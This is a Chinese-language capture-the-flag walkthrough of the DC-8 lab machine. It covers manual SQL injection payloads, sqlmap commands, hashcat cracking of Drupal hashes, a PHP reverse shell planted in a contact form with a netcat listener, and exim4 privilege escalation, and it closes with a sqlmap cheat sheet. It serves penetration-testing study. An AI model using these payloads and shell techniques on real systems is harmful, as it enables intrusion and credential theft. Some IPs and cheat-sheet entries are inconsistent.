DC-8 渗透测试 Walk through

信息收集

IMG_256
靶机ip地址为 : 192.168.33.231
Nmap扫描发现服务 22 、80端口
IMG_256
访问80web服务
IMG_256

发现服务器在切换功能时,浏览器顶部的url的uid参数会发生变化,怀疑存在有SQL注入的可能

1
http://192.168.33.231/?nid=1

IMG_256
输入字符确定有sql注入点 , 这里可以手动对数据库进行爆破也可以直接使用sqlmap工具

SQL注入

手动SQL

-判断类型,发现为数字型
IMG_256
查找回显点

1
http://192.168.140.231/?nid=3 order by 1

IMG_256
爆破当前库名

1
http://192.168.140.231/?nid=-1 union select database()

IMG_256
爆破表名

1
http://192.168.140.231/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'

IMG_256
爆破列名,查找到可用字段

1
http://192.168.140.231/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'

IMG_256
爆破用户和密码

1
http://192.168.140.231/?nid=-1 union select group_concat(name,pass) from users

IMG_256

得到admin和john加密后的密码

1
2
3
4
admin
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

SQLMAP爆破

1
sqlmap -u 192.168.0.6/?nid=2 --dbs --batch --risk 3 --level 5

发现数据库 : d7db , information_schema
IMG_256

1
sqlmap -u 192.168.33.231/?nid=3 -D d7db --tables --batch --risk 3 --level 5 

进一步根据d7db查询到表名
IMG_256

查询到user敏感信息
对应john和admin账户还有其对应的加密密码
IMG_256

得到admin和john加密后的密码

1
2
3
4
admin
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

爆破密码

使用hashcat尝试破解密码:

1
Hashcat.exe -a 0 -m 7900 E:\\wordlist\\pass_list\\hash.txt E:\\wordlist\\pass_list\\wordlist.txt --force

IMG_256
解出john用户密码为 : turtle

寻找可利用后门

尝试寻找web的登录入口,使用drib工具爆破网站的子页面
IMG_256

找到一个/use 入口 使用john账号进行登录
发现durpal入口继续尝试使用php实现反向 shell
在contact us中找到一个插入Pentest Monkey的PHP脚本的地方修改并保存
IMG_256
开启监听

1
nc -lvp 1234

IMG_256

提交随便一个表单
成功获取shell

并进行之前文章的一系列操作(交互shell、提权)……
IMG_256

提权

在提权过程中发现目标存在suid程序exim4 ,google发现该程序是一个与电子邮件相关的程序,是用于处理邮件传输的邮件服务器软件之一。
于是尝试通过该exim4获取root
查看版本
IMG_256
IMG_256
使用searchsploit工具查找exim相关脚本发现一个
IMG_256
将/usr/share/exploitdb/exploits/linux/local/46996.sh 复制到当前目录
并使用dos2unix修改格式为unix,避免后面需要在脚本中再操作,或者在靶机上修改脚本内容(使用vi在文件内容终端输入:set ff=unix,使windows代码能在Unix上执行)
IMG_256
开启一个http服务将shell.sh下载到靶机
IMG_256
IMG_256
根据脚本提示,给脚本赋权并执行脚本

1
./shell.sh -m netcat

成功提权拿到flag
IMG_256

总结

DC-8涉及知识点

1、nmap的使用
2、sql注入,常用的sqlmap指令
3、hashcat、john破解密码
4、exim的版本漏洞

SQL注入学习 –常用的SQLMAP指令

1.基本扫描

1
sqlmap -u <目标URL>         # 对目标URL执行基本的SQL注入扫描

2.指定参数:

1
2
sqlmap -u <目标URL> --data="<POST数据>"   # 使用POST请求进行扫描
sqlmap -u <目标URL> -p <参数名> # 指定GET参数进行扫描

3.数据库指令:

1
2
sqlmap -u <目标URL> --dbs          # 列出所有可用数据库
sqlmap -u <目标URL> -D <数据库名> # 指定数据库

4.表和列的枚举:

1
2
sqlmap -u <目标URL> -D <数据库名> --tables   # 列出指定数据库中的所有表
sqlmap -u <目标URL> -D <数据库名> -T <表名> --columns # 列出指定表中的所有列

5.数据提取:

1
sqlmap -u <目标URL> --dbms=<数据库类型>   # 指定目标数据库类型(例如:MySQL)

6.指定注入点类型:

1
sqlmap -u <目标URL> --dbms=<数据库类型>   # 指定目标数据库类型(例如:MySQL)

7.HTTP请求头定制:

1
sqlmap -u <目标URL> --headers="<定制的HTTP头>"   # 自定义HTTP请求头

8.提高扫描等级和风险:

1
sqlmap -u <目标URL> --level=5 --risk=3   # 提高扫描等级和风险

9.POST请求扫描:

1
sqlmap -r <保存POST请求的文件>   # 从文件中读取POST请求并执行扫描

10.代理设置:

1
sqlmap -u <目标URL> --proxy=http://<代理地址>:<代理端口>   # 使用代理进行扫描